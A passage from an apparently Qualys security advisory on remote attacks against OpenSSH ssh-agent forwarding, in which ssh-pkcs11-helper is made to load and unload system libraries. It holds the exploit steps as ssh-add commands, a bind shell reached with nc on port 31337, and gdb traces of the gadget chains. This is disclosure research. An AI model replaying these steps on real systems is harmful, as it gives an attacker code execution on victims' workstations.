\nEnter passphrase for PKCS#11: whatever
\nCould not add card “\/usr\/lib\/pulse-15.0+dfsg1\/modules\/module-remap-sink.so”: agent refused operation<\/p>\n
————————————————————————<\/p>\n
3d\/ we remotely register a SIGBUS handler, and immediately munmap() its
\ncode:<\/p>\n
server# ssh-add -s \/usr\/lib\/x86_64-linux-gnu\/libgnatcoll_postgres.so.1
\nEnter passphrase for PKCS#11: whatever
\nCould not add card “\/usr\/lib\/x86_64-linux-gnu\/libgnatcoll_postgres.so.1”: agent refused operation<\/p>\n
————————————————————————<\/p>\n
3e\/ we remotely alter the mmap layout of ssh-pkcs11-helper (again), and
\nreplace the unmapped SIGBUS handler’s code with another piece of code (a
\nuseful gadget) from another shared library:<\/p>\n
server# ssh-add -s \/usr\/lib\/pulse-15.0+dfsg1\/modules\/module-http-protocol-unix.so
\nserver# ssh-add -s \/usr\/lib\/x86_64-linux-gnu\/sane\/libsane-hp.so.1.0.32
\nserver# ssh-add -s \/usr\/lib\/libreoffice\/program\/libindex_data.so
\nserver# ssh-add -s \/usr\/lib\/x86_64-linux-gnu\/gstreamer-1.0\/libgstaudiorate.so
\nserver# ssh-add -s \/usr\/lib\/libreoffice\/program\/libscriptframe.so
\nserver# ssh-add -s \/usr\/lib\/x86_64-linux-gnu\/libisccc-9.16.15-Ubuntu.so
\nserver# ssh-add -s \/usr\/lib\/x86_64-linux-gnu\/libxkbregistry.so.0.0.0<\/p>\n
————————————————————————<\/p>\n
3f\/ we remotely raise a SIGBUS in ssh-pkcs11-helper:<\/p>\n
server# ssh-add -s \/usr\/lib\/debug\/.build-id\/15\/c0bee6bcb06fbf381d0e0e6c52f71e1d1bd694.debug
\nEnter passphrase for PKCS#11: whatever
\n[Press Ctrl-C after a few seconds.]\n
————————————————————————<\/p>\n
3g\/ the replacement code (gadget) is executed (instead of the unmapped
\nSIGBUS handler’s code) and jumps to the stack, then into our shellcode,
\nwhich binds a shell on TCP port 31337 on Alice’s workstation:<\/p>\n
server# nc -v workstation 31337
\nConnection to workstation 31337 port [tcp\/*] succeeded!<\/p>\n
workstation$ id
\nuid=1000(alice) gid=1000(alice) groups=1000(alice),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),122(lpadmin),133(lxd),134(sambashare)<\/p>\n
workstation$ ps axuf
\nUSER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
\n…
\nalice 912 0.0 0.0 6060 2312 ? Ss 17:18 0:00 ssh-agent -s
\nalice 928 0.0 0.0 2872 956 ? S 17:25 0:00 \\_ [sh]\nalice 953 0.0 0.0 7060 3068 ? R 17:40 0:00 \\_ ps axuf<\/p>\n
————————————————————————<\/p>\n
To get a clear view of the replacement code (the useful gadget) that is
\nexecuted instead of the unmapped SIGBUS handler and that jumps into the
\nNOP sled of our shellcode (in the executable stack), we relaunch our
\nattack against ssh-agent and attach to ssh-pkcs11-helper with gdb:<\/p>\n
workstation$ gdb \/usr\/lib\/openssh\/ssh-pkcs11-helper 1225
\n…
\n(gdb) continue
\nContinuing.<\/p>\n
Program received signal SIGBUS, Bus error.
\nmemset () at ..\/sysdeps\/x86_64\/multiarch\/memset-vec-unaligned-erms.S:186<\/p>\n
(gdb) stepi
\n0x00007f2ba9d7c350 in ?? () from \/usr\/lib\/libreoffice\/program\/libuno_cppuhelpergcc3.so.3<\/p>\n
(gdb) x\/10i 0x00007f2ba9d7c350
\n=> 0x7f2ba9d7c350: add $0x28,%rsp
\n0x7f2ba9d7c354: mov %r12,%rax
\n0x7f2ba9d7c357: pop %rbx
\n0x7f2ba9d7c358: pop %rbp
\n0x7f2ba9d7c359: pop %r12
\n0x7f2ba9d7c35b: pop %r13
\n0x7f2ba9d7c35d: pop %r14
\n0x7f2ba9d7c35f: pop %r15
\n0x7f2ba9d7c361: ret
\n…<\/p>\n
(gdb) stepi
\n…
\n0x00007f2ba9d7c361 in ?? () from \/usr\/lib\/libreoffice\/program\/libuno_cppuhelpergcc3.so.3<\/p>\n
(gdb) stepi
\n0x00007fff7aae5e90 in ?? ()<\/p>\n
(gdb) x\/10i 0x00007fff7aae5e90
\n=> 0x7fff7aae5e90: add %dl,(%rax)
\n0x7fff7aae5e92: and %eax,(%rax)
\n0x7fff7aae5e94: add %al,(%rax)
\n0x7fff7aae5e96: add %al,(%rax)
\n0x7fff7aae5e98: add %ah,(%rax)
\n0x7fff7aae5e9a: and %eax,(%rax)
\n0x7fff7aae5e9c: add %al,(%rax)
\n0x7fff7aae5e9e: add %al,(%rax)
\n0x7fff7aae5ea0: call 0x7fff7aae7fbe
\n…<\/p>\n
(gdb) stepi
\n…
\n0x00007fff7aae5ea0 in ?? ()<\/p>\n
(gdb) stepi
\n0x00007fff7aae7fbe in ?? ()<\/p>\n
(gdb) x\/10i 0x00007fff7aae7fbe
\n=> 0x7fff7aae7fbe: nop
\n0x7fff7aae7fbf: nop
\n0x7fff7aae7fc0: nop
\n0x7fff7aae7fc1: nop
\n0x7fff7aae7fc2: nop
\n0x7fff7aae7fc3: nop
\n0x7fff7aae7fc4: nop
\n0x7fff7aae7fc5: nop
\n0x7fff7aae7fc6: nop
\n0x7fff7aae7fc7: nop<\/p>\n
(gdb) !grep stack \/proc\/1225\/maps
\n7fff7aacb000-7fff7aaeb000 rwxp 00000000 00:00 0 [stack]\n
========================================================================
\nCallback function use-after-free
\n========================================================================<\/p>\n
While analyzing the first results of our fuzzer, we noticed that some
\ncombinations of shared libraries jump to the stack although they do not
\nregister any signal handler or raise any signal; how is this possible?
\nOn investigation, we understood that:<\/p>\n
– a core library (for example, libgcrypt.so or libQt5Core.so) is loaded
\nbut not unloaded (munmap()ed) by dlclose(), because it is marked as
\n“nodelete” by the loader;<\/p>\n
– a shared library (for example, libgnunetutil.so or gammaray_probe.so)
\nis loaded and registers a userland callback function with the core
\nlibrary (via gcry_set_allocation_handler() or qtHookData[], for
\nexample), but it does not deregister this callback function when
\ndlclose()d (i.e., when its code is munmap()ed);<\/p>\n
– another shared library is loaded (mmap()ed) and replaces the unmapped
\ncallback function’s code with another piece of code (a useful gadget);<\/p>\n
– yet another shared library is loaded and calls one of the core
\nlibrary’s functions, which in turn calls the unmapped callback
\nfunction and therefore executes the replacement code (the useful
\ngadget) instead, thus jumping to the stack.<\/p>\n
————————————————————————<\/p>\n
In the following example, one of the core library’s functions is called
\nat line 66254, the unmapped callback function is called at line 66288,
\nthe replacement code (gadget) is executed instead at line 66289, and
\njumps to the stack at line 66293 (ssh-pkcs11-helper segfaults here
\nbecause we did not make the stack executable):<\/p>\n
Attaching to program: \/usr\/lib\/openssh\/ssh-pkcs11-helper, process 3628979
\n…
\n(gdb) record btrace
\n(gdb) continue
\nContinuing.<\/p>\n
Program received signal SIGSEGV, Segmentation fault.
\n0x00007fff5000d9d0 in ?? ()<\/p>\n
(gdb) !grep stack \/proc\/3628979\/maps
\n7fff4fff3000-7fff50014000 rw-p 00000000 00:00 0 [stack]\n
(gdb) set record instruction-history-size 100
\n(gdb) record instruction-history
\n…
\n66254 0x00007f9ae7d82df4: call 0x7f9ae7d70180 <gcry_mpi_new@plt>
\n66255 0x00007f9ae7d70180 <gcry_mpi_new@plt+0>: endbr64
\n66256 0x00007f9ae7d70184 <gcry_mpi_new@plt+4>: bnd jmp *0x7aa9d(%rip) # 0x7f9ae7deac28 <gcry_mpi_new@got.plt>
\n66257 0x00007f9af801bbe0 <gcry_mpi_new+0>: endbr64
\n66258 0x00007f9af801bbe4 <gcry_mpi_new+4>: push %r12
\n66259 0x00007f9af801bbe6 <gcry_mpi_new+6>: push %rbx
\n66260 0x00007f9af801bbe7 <gcry_mpi_new+7>: lea 0x3f(%rdi),%ebx
\n66261 0x00007f9af801bbea <gcry_mpi_new+10>: mov $0x18,%edi
\n66262 0x00007f9af801bbef <gcry_mpi_new+15>: shr $0x6,%ebx
\n66263 0x00007f9af801bbf2 <gcry_mpi_new+18>: sub $0x8,%rsp
\n66264 0x00007f9af801bbf6 <gcry_mpi_new+22>: call 0x7f9af801bb40
\n66265 0x00007f9af801bb40: endbr64
\n…
\n66285 0x00007f9af809cc60: mov 0xa8311(%rip),%rax # 0x7f9af8144f78
\n66286 0x00007f9af809cc67: test %rax,%rax
\n66287 0x00007f9af809cc6a: jne 0x7f9af809cc44
\n66288 0x00007f9af809cc44: call *%rax<\/p>\n
66289 0x00007f9afc27edc0: cmp %eax,%ebx
\n66290 0x00007f9afc27edc2: jne 0x7f9afc27f150
\n66291 0x00007f9afc27f150: mov %r14,%rsi
\n66292 0x00007f9afc27f153: mov %r13,%rdi
\n66293 0x00007f9afc27f156: call *%rbx<\/p>\n
————————————————————————<\/p>\n
In the following example, the unmapped callback function is called at
\nline 87352, the replacement code (gadget) is executed instead at line
\n87353, and jumps to the stack at line 87354:<\/p>\n
Attaching to program: \/usr\/lib\/openssh\/ssh-pkcs11-helper, process 3628993
\n…
\n(gdb) record btrace
\n(gdb) continue
\nContinuing.<\/p>\n
Program received signal SIGSEGV, Segmentation fault.
\n0x00007ffe4fc16d10 in ?? ()<\/p>\n
(gdb) !grep stack \/proc\/3628993\/maps
\n7ffe4fbfc000-7ffe4fc1d000 rw-p 00000000 00:00 0 [stack]\n
(gdb) set record instruction-history-size 100
\n(gdb) record instruction-history
\n…
\n87347 0x00007f35f8972d26 <_ZN7QObjectC2ER14QObjectPrivatePS_+182>: lea 0x26acd3(%rip),%rax # 0x7f35f8bdda00 <qtHookData>
\n87348 0x00007f35f8972d2d <_ZN7QObjectC2ER14QObjectPrivatePS_+189>: mov 0x18(%rax),%rax
\n87349 0x00007f35f8972d31 <_ZN7QObjectC2ER14QObjectPrivatePS_+193>: test %rax,%rax
\n87350 0x00007f35f8972d34 <_ZN7QObjectC2ER14QObjectPrivatePS_+196>: jne 0x7f35f8972d88 <_ZN7QObjectC2ER14QObjectPrivatePS_+280>
\n87351 0x00007f35f8972d88 <_ZN7QObjectC2ER14QObjectPrivatePS_+280>: mov %rbx,%rdi
\n87352 0x00007f35f8972d8b <_ZN7QObjectC2ER14QObjectPrivatePS_+283>: call *%rax<\/p>\n
87353 0x00007f35fa445130 <_ZN5KAuth15ObjectDecorator13setAuthActionERKNS_6ActionE+80>: pop %rbp
\n87354 0x00007f35fa445131 <_ZN5KAuth15ObjectDecorator13setAuthActionERKNS_6ActionE+81>: ret<\/p>\n
————————————————————————<\/p>\n
Note: several shared libraries that are installed by default on Ubuntu
\nDesktop (for example, gkm-*-store-standalone.so) do not have constructor
\nor destructor functions, but they are actual PKCS#11 providers, so some
\nof their functions are explicitly called by ssh-pkcs11-helper, and these
\nfunctions register a callback function with libgcrypt.so but they do not
\nderegister it when dlclose()d (i.e., when munmap()ed), thus exhibiting
\nthe “Callback function use-after-free” behavior presented in this
\nsubsection.<\/p>\n
In the following example, one of libgcrypt.so’s functions is called at
\nline 79114, the unmapped callback function is called at line 79143, the
\nreplacement code (gadget) is executed instead at line 79144, and jumps
\nto the stack at line 79157:<\/p>\n
Attaching to program: \/usr\/lib\/openssh\/ssh-pkcs11-helper, process 3629085
\n…
\n(gdb) record btrace
\n(gdb) continue
\nContinuing.<\/p>\n
Thread 1 “ssh-pkcs11-help” received signal SIGSEGV, Segmentation fault.
\n0x00007fffb2735c48 in ?? ()<\/p>\n
(gdb) !grep stack \/proc\/3629085\/maps
\n7fffb2716000-7fffb2737000 rw-p 00000000 00:00 0 [stack]\n
(gdb) set record instruction-history-size 100
\n(gdb) record instruction-history
\n…
\n79114 0x00007f8328147e3a: call 0x7f8328135500 <gcry_mpi_scan@plt>
\n79115 0x00007f8328135500 <gcry_mpi_scan@plt+0>: endbr64
\n79116 0x00007f8328135504 <gcry_mpi_scan@plt+4>: bnd jmp *0x7a8dd(%rip) # 0x7f83281afde8 <gcry_mpi_scan@got.plt>
\n79117 0x00007f832e2b1220 <gcry_mpi_scan+0>: endbr64
\n79118 0x00007f832e2b1224 <gcry_mpi_scan+4>: sub $0x8,%rsp
\n79119 0x00007f832e2b1228 <gcry_mpi_scan+8>: call 0x7f832e32fbb0
\n79120 0x00007f832e32fbb0: endbr64
\n…
\n79140 0x00007f832e2b436e: mov 0x129dc3(%rip),%rax # 0x7f832e3de138
\n79141 0x00007f832e2b4375: test %rax,%rax
\n79142 0x00007f832e2b4378: je 0x7f832e2b43b0
\n79143 0x00007f832e2b437a: jmp *%rax<\/p>\n
79144 0x00007f832ed274f0: and $0x20,%al
\n79145 0x00007f832ed274f2: mov %rax,0x50(%rsp)
\n79146 0x00007f832ed274f7: mov 0x30(%rsp),%r13d
\n79147 0x00007f832ed274fc: mov 0x58(%rsp),%r15
\n79148 0x00007f832ed27501: mov %ebx,%ebp
\n79149 0x00007f832ed27503: mov %r8d,%edx
\n79150 0x00007f832ed27506: mov 0x50(%rsp),%rsi
\n79151 0x00007f832ed2750b: mov 0x28(%rsp),%r14
\n79152 0x00007f832ed27510: movslq 0x38(%r12),%rax
\n79153 0x00007f832ed27515: sub $0x8000,%ebp
\n79154 0x00007f832ed2751b: mov 0x54(%r12),%ecx
\n79155 0x00007f832ed27520: add %rax,%r14
\n79156 0x00007f832ed27523: mov %r14,%rdi
\n79157 0x00007f832ed27526: call *%r15<\/p>\n
========================================================================
\nReturn from syscall use-after-free
\n========================================================================<\/p>\n
While analyzing the strace logs of the dlopen() and dlclose() of every
\nshared library in \/usr\/lib*, we spotted an unusual SIGSEGV:<\/p>\n
– a shared library is loaded, and its constructor function starts a
\nthread that sleeps for 10 seconds in kernel-land:<\/p>\n
————————————————————————
\n3631347 openat(AT_FDCWD, “\/usr\/lib\/x86_64-linux-gnu\/cmpi\/libcmpiOSBase_ProcessorProvider.so”, O_RDONLY|O_CLOEXEC) = 3
\n…
\n3631347 mmap(NULL, 33296, PROT_READ, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7f5f3c3fb000
\n3631347 mmap(0x7f5f3c3fd000, 12288, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x2000) = 0x7f5f3c3fd000
\n3631347 mmap(0x7f5f3c400000, 8192, PROT_READ, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x5000) = 0x7f5f3c400000
\n3631347 mmap(0x7f5f3c402000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x6000) = 0x7f5f3c402000
\n3631347 close(3) = 0
\n…
\n3631347 clone3({flags=CLONE_VM|CLONE_FS|CLONE_FILES|CLONE_SIGHAND|CLONE_THREAD|CLONE_SYSVSEM|CLONE_SETTLS|CLONE_PARENT_SETTID|CLONE_CHILD_CLEARTID, child_tid=0x7f5f3bd70910, parent_tid=0x7f5f3bd70910, exit_signal=0, stack=0x7f5f3b570000, stack_size=0x7fff00, tls=0x7f5f3bd70640} => {parent_tid=[3631372]}, 88) = 3631372
\n…
\n3631372 clock_nanosleep(CLOCK_REALTIME, 0, {tv_sec=10, tv_nsec=0}, <unfinished …>
\n————————————————————————<\/p>\n
– meanwhile, the main thread (ssh-pkcs11-helper) unloads this shared
\nlibrary (because it is not an actual PKCS#11 provider) and therefore
\nmunmap()s the code where the sleeping thread should return to after
\nits sleep in kernel-land:<\/p>\n
————————————————————————
\n3631347 socket(AF_UNIX, SOCK_DGRAM|SOCK_CLOEXEC, 0) = 3
\n3631347 connect(3, {sa_family=AF_UNIX, sun_path=”\/dev\/log”}, 110) = 0
\n3631347 sendto(3, “<35>Jun 22 18:35:25 ssh-pkcs11-helper[3631347]: error: dlsym(C_GetFunctionList) failed: \/usr\/lib\/x86_64-linux-gnu\/cmpi\/libcmpiOSBase_ProcessorProvider.so: undefined symbol: C_GetFunctionList”, 190, MSG_NOSIGNAL, NULL, 0) = 190
\n3631347 close(3) = 0
\n3631347 munmap(0x7f5f3c3fb000, 33296) = 0
\n————————————————————————<\/p>\n
– the sleeping thread returns from kernel-land and crashes with a
\nSIGSEGV because its userland code (at 0x7f5f3c3fecff) was unmapped:<\/p>\n
————————————————————————
\n3631372 <… clock_nanosleep resumed>0x7f5f3bd6fde0) = 0
\n3631372 — SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0x7f5f3c3fecff} —
\n————————————————————————<\/p>\n
Of course, we can request ssh-pkcs11-helper to load (mmap()) a
\n“nodelete” library before the sleeping thread returns from kernel-land,
\nthus replacing the unmapped userland code with another piece of code (a
\nhopefully useful gadget). In the following example, the sleeping thread
\nreturns from kernel-land after line 214, executes the replacement code
\n(gadget) at line 256, and jumps to the stack at line 1305:<\/p>\n
Attaching to program: \/usr\/lib\/openssh\/ssh-pkcs11-helper, process 3631531
\n…
\n(gdb) record btrace
\n(gdb) continue
\nContinuing.
\n…
\nThread 2 “ssh-pkcs11-help” received signal SIGSEGV, Segmentation fault.
\n[Switching to Thread 0x7f4603960640 (LWP 3631561)]\n0x00007ffe2196f180 in ?? ()<\/p>\n
(gdb) !grep stack \/proc\/3631531\/maps
\n7ffe21955000-7ffe21976000 rw-p 00000000 00:00 0 [stack]\n
(gdb) set record instruction-history-size unlimited
\n(gdb) record instruction-history
\n…
\n214 0x00007f4604b71866 <__GI___clock_nanosleep+198>: syscall
\n…
\n240 0x00007f4604b71831 <__GI___clock_nanosleep+145>: ret
\n…
\n244 0x00007f4604b766ef <__GI___nanosleep+31>: ret
\n…
\n255 0x00007f4604b7663d <__sleep+93>: ret<\/p>\n
256 0x00007f46050fecff: jmp 0x7f4604662e54 <__ieee754_j1f128+2276>
\n257 0x00007f4604662e54 <__ieee754_j1f128+2276>: movq 0x60(%rsp),%mm3
\n…
\n1304 0x00007f460466285b <__ieee754_j1f128+747>: add $0xc8,%rsp
\n1305 0x00007f4604662862 <__ieee754_j1f128+754>: ret<\/p>\n
========================================================================
\nSigaltstack use-after-free
\n========================================================================<\/p>\n
>From time to time, we noticed the following warning in the dmesg of our
\nfuzzing laptop:<\/p>\n
————————————————————————
\n[585902.691238] signal: ssh-pkcs11-help[1663008] overflowed sigaltstack
\n————————————————————————<\/p>\n
On investigation, we discovered that at least one shared library
\n(libgnatcoll_postgres.so) calls sigaltstack() to register an alternate
\nsignal stack (used by SA_ONSTACK signal handlers) when dlopen()ed, and
\nthen munmap()s this signal stack without deregistering it (SS_DISABLE)
\nwhen dlclose()d. Consequently, we implemented and tested a different
\nattack idea:<\/p>\n
– we randomly load zero or more shared libraries that permanently alter
\nthe mmap layout;<\/p>\n
– we load libgnatcoll_postgres.so, which registers an alternate signal
\nstack and then munmap()s it without deregistering it;<\/p>\n
– we randomly load zero or more shared libraries that alter the mmap
\nlayout (again), and hopefully replace the unmapped signal stack with
\nanother writable memory mapping (for example, a thread stack, or a
\n.data or .bss segment);<\/p>\n
– we randomly load one shared library that registers an SA_ONSTACK
\nsignal handler but does not munmap() its code when dlclose()d (unlike
\nour original “Signal handler use-after-free” attack);<\/p>\n
– we randomly load one shared library that raises this signal and
\ntherefore calls the SA_ONSTACK signal handler, thus overwriting the
\nreplacement memory mapping with stack frames from the signal handler;<\/p>\n
– we randomly load one or more shared libraries that hopefully use the
\noverwritten contents of the replacement memory mapping.<\/p>\n
Although we successfully found various combinations of shared libraries
\nthat overwrite a .data or .bss segment with a stack frame from a signal
\nhandler, we failed to overwrite a useful memory mapping with useful data
\n(e.g., we failed to magically jump to the stack); for this attack to
\nwork, more research and a finer-grained approach might be required.<\/p>\n
========================================================================
\nSigreturn to arbitrary instruction pointer
\n========================================================================<\/p>\n
Astonishingly, numerous combinations of shared libraries crash because
\nthey try to execute code at 0xcccccccccccccccc: a direct control of the
\ninstruction pointer (RIP), because these 0xcc bytes come from the stack
\nbuffer of ssh-pkcs11-helper that we (remote attackers) filled with 0xcc
\nbytes.<\/p>\n
Initially, we got very excited by this new attack vector, because we
\nthought that a gadget of the form “add rsp, N; ret” was executed, thus
\nmoving the stack pointer (RSP) into our 0xcc-filled stack buffer and
\npopping RIP from there. Unfortunately, the reality is more complex:<\/p>\n
– a shared library raises a signal (a SIGSEGV in the example below, at
\nline 134110) and, in consequence of a “Signal handler use-after-free”,
\na replacement gadget of the form “ret N” is executed instead of the
\nsignal handler (at line 134111);<\/p>\n
– exactly as the real signal handler would, the replacement gadget
\nreturns to the glibc’s restore_rt() function (at line 134112), which
\nin turn calls the kernel’s rt_sigreturn() function (at line 134113);<\/p>\n
– however, before the kernel’s rt_sigreturn() function is called, the
\nreplacement gadget “ret N” moves RSP into our 0xcc-filled stack buffer
\nand as a result, the kernel’s rt_sigreturn() function restores all
\nuserland registers (including RIP and RSP) from there;<\/p>\n
————————————————————————
\nAttaching to program: \/usr\/lib\/openssh\/ssh-pkcs11-helper, process 3633914
\n…
\n(gdb) record btrace
\n(gdb) continue
\nContinuing.<\/p>\n
Program received signal SIGSEGV, Segmentation fault.
\n0x00007fcd468671b1 in xtables_register_target () from \/lib\/x86_64-linux-gnu\/libxtables.so.12<\/p>\n
(gdb) x\/i 0x00007fcd468671b1
\n=> 0x7fcd468671b1 <xtables_register_target+209>: movzbl 0x18(%rax),%eax<\/p>\n
(gdb) info registers
\nrax 0x0 0
\n…<\/p>\n
(gdb) continue
\nContinuing.<\/p>\n
Program received signal SIGSEGV, Segmentation fault.
\n0xcccccccccccccccc in ?? ()<\/p>\n
(gdb) set record instruction-history-size 100
\n(gdb) record instruction-history
\n…
\n134106 0x00007fcd4686719e <xtables_register_target+190>: mov 0x6e1b(%rip),%rax # 0x7fcd4686dfc0
\n134107 0x00007fcd468671a5 <xtables_register_target+197>: movzwl 0x22(%rbx),%edx
\n134108 0x00007fcd468671a9 <xtables_register_target+201>: mov (%rax),%rax
\n134109 0x00007fcd468671ac <xtables_register_target+204>: mov %dx,0x6(%rsp)
\n134110 [disabled]\n134111 0x00007fcd48e434a0: ret $0x1f0f
\n134112 0x00007fcd49655520 <__restore_rt+0>: mov $0xf,%rax
\n134113 0x00007fcd49655527 <__restore_rt+7>: syscall<\/p>\n
(gdb) info registers
\nrax 0x0 0
\nrbx 0xcccccccccccccccc -3689348814741910324
\nrcx 0xcccccccccccccccc -3689348814741910324
\nrdx 0xcccccccccccccccc -3689348814741910324
\nrsi 0xcccccccccccccccc -3689348814741910324
\nrdi 0xcccccccccccccccc -3689348814741910324
\nrbp 0xcccccccccccccccc 0xcccccccccccccccc
\nrsp 0xcccccccccccccccc 0xcccccccccccccccc
\nr8 0xcccccccccccccccc -3689348814741910324
\nr9 0xcccccccccccccccc -3689348814741910324
\nr10 0xcccccccccccccccc -3689348814741910324
\nr11 0xcccccccccccccccc -3689348814741910324
\nr12 0xcccccccccccccccc -3689348814741910324
\nr13 0xcccccccccccccccc -3689348814741910324
\nr14 0xcccccccccccccccc -3689348814741910324
\nr15 0xcccccccccccccccc -3689348814741910324
\nrip 0xcccccccccccccccc 0xcccccccccccccccc
\n————————————————————————<\/p>\n
Although we directly control all of the userland registers, we failed to
\ntransform this attack vector into a one-shot remote exploit, because RSP
\n(which was conveniently pointing into our 0xcc-filled stack buffer) gets
\noverwritten, and because we were unable to leak any information from
\nssh-pkcs11-helper (to defeat ASLR).<\/p>\n
Partially overwriting a pointer that is left over in ssh-pkcs11-helper’s
\nstack buffer, and that is later used by rt_sigreturn() to restore a
\nuserland register, might be an interesting idea that we have not
\nexplored yet.<\/p>\n
========================================================================
\n_Unwind_Context type-confusion
\n========================================================================<\/p>\n
This attack vector was the most puzzling of our discoveries: from time
\nto time, some combinations of shared libraries jumped to the stack, but
\nevidently not as a result of a signal handler, callback function, or
\nreturn from syscall use-after-free. Eventually, we determined the
\nsequence of events that led to these stack jumps:<\/p>\n
– some shared libraries load LLVM’s libunwind.so as a “nodelete” library
\n(i.e., it is never unloaded, even after dlclose());<\/p>\n
– some shared libraries throw a C++ exception, which loads GCC’s
\nlibgcc_s.so and calls the _Unwind_GetCFA() function (at line 57295 in
\nthe example below);<\/p>\n
– however, GCC’s libgcc_s.so mistakenly calls LLVM’s _Unwind_GetCFA()
\n(at line 57298) instead of GCC’s _Unwind_GetCFA() (because LLVM’s
\nlibunwind.so was loaded first), and passes a pointer to GCC’s struct
\n_Unwind_Context to this function (instead of a pointer to LLVM’s
\nstruct _Unwind_Context, which is a different type of structure);<\/p>\n
– LLVM’s _Unwind_GetCFA() then calls its unw_get_reg() function (at line
\n57303), which in turn calls a function pointer (at line 57311) that is
\na member of LLVM’s struct _Unwind_Context, but that happens to be a
\nstack pointer in GCC’s struct _Unwind_Context;<\/p>\n
————————————————————————
\nAttaching to program: \/usr\/lib\/openssh\/ssh-pkcs11-helper, process 3635541
\n…
\n(gdb) record btrace
\n(gdb) continue
\nContinuing.<\/p>\n
Program received signal SIGSEGV, Segmentation fault.
\n0x00007ffcf5e9be10 in ?? ()<\/p>\n
(gdb) !grep stack \/proc\/3635541\/maps
\n7ffcf5e82000-7ffcf5ea3000 rw-p 00000000 00:00 0 [stack]\n
(gdb) set record instruction-history-size 100
\n(gdb) record instruction-history
\n…
\n57295 0x00007f7c8eaaccf1: call 0x7f7c8ea99470 <_Unwind_GetCFA@plt><\/p>\n
57296 0x00007f7c8ea99470 <_Unwind_GetCFA@plt+0>: endbr64
\n57297 0x00007f7c8ea99474 <_Unwind_GetCFA@plt+4>: bnd jmp *0x1bc2d(%rip) # 0x7f7c8eab50a8 <_Unwind_GetCFA@got.plt><\/p>\n
57298 0x00007f7c8edce920 <_Unwind_GetCFA+0>: sub $0x18,%rsp
\n57299 0x00007f7c8edce924 <_Unwind_GetCFA+4>: mov %fs:0x28,%rax
\n57300 0x00007f7c8edce92d <_Unwind_GetCFA+13>: mov %rax,0x10(%rsp)
\n57301 0x00007f7c8edce932 <_Unwind_GetCFA+18>: lea 0x8(%rsp),%rdx
\n57302 0x00007f7c8edce937 <_Unwind_GetCFA+23>: mov $0xfffffffe,%esi
\n57303 0x00007f7c8edce93c <_Unwind_GetCFA+28>: call 0x7f7c8edca6b0 <unw_get_reg><\/p>\n
57304 0x00007f7c8edca6b0 <unw_get_reg+0>: push %rbp
\n57305 0x00007f7c8edca6b1 <unw_get_reg+1>: push %r14
\n57306 0x00007f7c8edca6b3 <unw_get_reg+3>: push %rbx
\n57307 0x00007f7c8edca6b4 <unw_get_reg+4>: mov %rdx,%r14
\n57308 0x00007f7c8edca6b7 <unw_get_reg+7>: mov %esi,%ebp
\n57309 0x00007f7c8edca6b9 <unw_get_reg+9>: mov %rdi,%rbx
\n57310 0x00007f7c8edca6bc <unw_get_reg+12>: mov (%rdi),%rax
\n57311 0x00007f7c8edca6bf <unw_get_reg+15>: call *0x10(%rax)<\/p>\n
(gdb) !grep 7f7c8ea \/proc\/3635541\/maps
\n7f7c8ea99000-7f7c8eab0000 r-xp 00003000 08:03 8788336 \/usr\/lib\/x86_64-linux-gnu\/libgcc_s.so.1<\/p>\n
(gdb) !grep 7f7c8ed \/proc\/3635541\/maps
\n7f7c8edc9000-7f7c8edd1000 r-xp 00000000 08:03 11148811 \/usr\/lib\/llvm-14\/lib\/libunwind.so.1.0
\n————————————————————————<\/p>\n
========================================================================
\nRCE in library constructor
\n========================================================================<\/p>\n
As a last and extreme example of a remote attack against ssh-agent
\nforwarding, we noticed that one shared library’s constructor function
\n(which can be invoked by a remote attacker via an ssh-agent forwarding)
\nstarts a server thread that listens on a TCP port, and we discovered a
\nremotely exploitable vulnerability (a heap-based buffer overflow) in
\nthis server’s implementation.<\/p>\n
The unusual malloc exploitation technique that we used to remotely
\nexploit this vulnerability is so interesting (it is reliable, one-shot,
\nand works against the latest glibc versions, despite all the modern
\nprotections) that we decided to publish it in a separate advisory:<\/p>\n
https:\/\/www.qualys.com\/2023\/06\/06\/renderdoc\/renderdoc.txt<\/p>\n
This last and extreme attack vector against ssh-agent also underlines
\nthe central point of this advisory: many shared libraries are simply not
\nsafe to be loaded (and unloaded) in a security-sensitive program such as
\nssh-agent.<\/p>\n
========================================================================
\nDiscussion
\n========================================================================<\/p>\n
We believe that we have not exploited the full potential of this
\n“dlopen() then dlclose()” primitive:<\/p>\n
– we have only investigated Ubuntu Desktop 22.04 and 21.10, but other
\nversions, distributions, or operating systems might be hiding further
\nsurprises;<\/p>\n
– our rudimentary fuzzer can certainly be greatly improved, and has
\ndefinitely not tried all the combinations of shared libraries and side
\neffects;<\/p>\n
– we have identified seven attack vectors against ssh-agent (described
\nin the “Results” section), but we have not analyzed in detail all the
\nresults of our fuzzer;<\/p>\n
– we have not fully explored various aspects of these attack vectors:<\/p>\n
– it might be possible to reliably exploit the “Sigaltstack
\nuse-after-free” (by carefully overwriting the .data or .bss segment
\nof a shared library) or the “Sigreturn to arbitrary instruction
\npointer” (by partially overwriting a leftover pointer in
\nssh-pkcs11-helper’s stack);<\/p>\n
– we currently store our shellcode in ssh-pkcs11-helper’s main() stack
\nbuffer only, but it might be possible to store shellcode in other
\nstack buffers as well, or somehow spray the stack with shellcode,
\nwhich would dramatically increase our chances of jumping into our
\nshellcode;<\/p>\n
for example, we tried to spray the stack with shellcode by
\ninterrupting a memcpy() of controlled data with a signal handler,
\nthereby spilling controlled YMM registers to the stack (inspired by
\nhttps:\/\/bugs.chromium.org\/p\/project-zero\/issues\/detail?id=2266), but
\nwe failed because we can memcpy() only ~10KB of data, and because we
\ncannot remotely use tricks such as inotify or sched*() to precisely
\ntime this race;<\/p>\n
– it might be possible to control the mmap layout of ssh-pkcs11-helper
\nwith page precision (which would allow us to precisely control the
\ngadget that replaces the unmapped signal handler, callback function,
\nor return from syscall), but we failed to find large malloc()ations
\n(which are mmap()ed) in ssh-pkcs11-helper (the only way we found to
\ninfluence the mmap layout is to load and unload shared libraries, as
\nmentioned in Step 4a\/ of the “Experiments” section);<\/p>\n
– instead of replacing the unmapped signal handler or callback
\nfunction (or return from syscall) with a gadget from another shared
